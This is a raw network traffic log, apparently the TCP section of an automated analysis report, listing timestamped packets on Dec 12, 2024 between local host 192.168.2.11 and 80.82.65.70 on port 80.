                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.450834036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.450891018 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.451642036 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.451733112 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.451908112 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.452646017 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.452831984 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.452913046 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.452958107 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.453697920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.453797102 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.453828096 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.454035997 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.454706907 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.454771996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.454821110 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.455003977 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.455732107 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.455858946 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.455970049 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.455970049 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.456814051 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.456938028 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.457071066 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.457777023 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.457896948 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.457932949 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.457932949 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.458851099 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.458950996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.459023952 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.459181070 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.459919930 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.459976912 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.460135937 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.460135937 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.460961103 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.461007118 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.461121082 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.461896896 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.462012053 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.462100983 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.462100983 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.462923050 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.463020086 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.463067055 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.463187933 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.463952065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.464055061 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.464107990 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.464107990 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.465004921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.465137005 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.465352058 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.466011047 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.466119051 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.466135025 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.466178894 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.467022896 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.467199087 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.467335939 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.467401981 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.468138933 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.468249083 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.468580961 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.468616009 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.469115019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.469177008 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.469218969 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.470097065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.470227957 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.471301079 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.471302032 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.471302032 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.471328020 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.471565008 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.472225904 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.472322941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.472496033 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.473243952 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.473339081 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.473391056 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.474251986 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.474340916 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.475337982 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.475358963 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.475436926 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.475548983 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.476457119 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.476469040 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.477297068 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.477302074 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.477302074 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.477339029 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.477374077 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.477408886 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.478349924 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.478440046 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.479338884 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.479358912 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.479358912 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.479450941 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.479473114 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.479520082 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.480333090 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.480443954 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.480537891 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.481359959 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.481486082 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.482413054 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.482501030 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.482566118 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.482580900 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.483335018 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.483403921 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.483524084 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.483527899 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.483570099 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.484447002 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.484561920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.485451937 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.485677958 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.486232996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.486232996 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.486641884 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.486749887 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.487348080 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.487423897 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.487504959 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.491339922 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.625705957 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.625793934 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.625936031 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.626211882 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.626281023 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.626394987 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.626482010 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.626547098 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.627470970 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.627515078 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.627692938 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.627693892 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.628524065 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.628611088 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.628611088 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.628694057 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.629571915 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.629580021 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.629637003 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.630512953 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.630598068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.630681038 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.630825043 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.631625891 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.631705046 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.631762028 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.632582903 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.632668972 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.632734060 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.632780075 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.633773088 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.633866072 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.633913994 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.634094954 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.634706974 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.634798050 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.634829998 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.634911060 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.635637999 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.635727882 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.635793924 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.636652946 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.636759996 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.636919975 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.637080908 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.637658119 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.637790918 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.637797117 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.637842894 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.638762951 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.638845921 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.638922930 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.638995886 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.639723063 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.639864922 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.639933109 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.640028954 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.640760899 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.640820980 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.640923023 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.641834974 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.641953945 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.641973019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.642020941 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.642915964 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.642988920 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.643088102 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.643861055 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.643960953 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.643996954 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.644196987 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.644959927 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.645081043 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.645256042 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.645256042 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.645899057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.646017075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.646847010 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.646882057 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.646967888 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.647020102 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.647154093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.647923946 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.648104906 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.648137093 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.648241043 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.648947954 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.649068117 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.649087906 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.649199963 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.649981022 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.650098085 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.650438070 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.650732040 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.651067019 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.651127100 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.651252985 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.652050018 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.652163029 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.652170897 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.652318001 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.653145075 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.653217077 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.653232098 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.653532982 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.654105902 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.654221058 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.654222012 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.654337883 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.655128956 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.655235052 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.655334949 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.655427933 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.656213999 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.656300068 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.656342030 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.656662941 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.657169104 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.657253027 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.657403946 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.657403946 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.658212900 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.658468962 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.658494949 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.658556938 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.659209013 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.659265041 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.659343004 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.660238028 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.660352945 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.660471916 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.660471916 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.661288023 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.661344051 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.661472082 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.661535978 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.662389040 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.662492037 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.662642956 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.663364887 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.663445950 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.663460970 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.663491011 CET4988280192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.664377928 CET804988280.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:27.664465904 CET804988280.82.65.70192.168.2.11
